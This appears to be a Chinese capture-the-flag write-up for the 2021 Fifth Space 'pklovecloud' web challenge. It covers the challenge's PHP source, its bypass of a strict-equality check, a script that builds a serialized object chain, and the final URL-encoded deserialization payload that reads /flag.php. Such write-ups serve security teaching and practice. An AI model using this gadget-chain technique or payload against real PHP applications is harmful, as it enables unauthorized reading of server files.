2021-第五空间智能安全大赛-Web-pklovecloud

反序列化

源码

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<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

关键需要令

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$this->openstack->neutron === $this->openstack->nova

成立

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不妨令$this->openstack = unserialize($this->docker);中
$this->docker = '';
则
两侧均NULL，成功绕过
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<?php
class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova;
}
class ace
{    
    public $filename;     
    public $openstack;
    public $docker;
}
$b=new acp;
$c=new ace;
$b->cinder=$c;
$c->docker='';
$c->filename='/flag.php';
echo urlencode(serialize($b));

?>


payload：
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D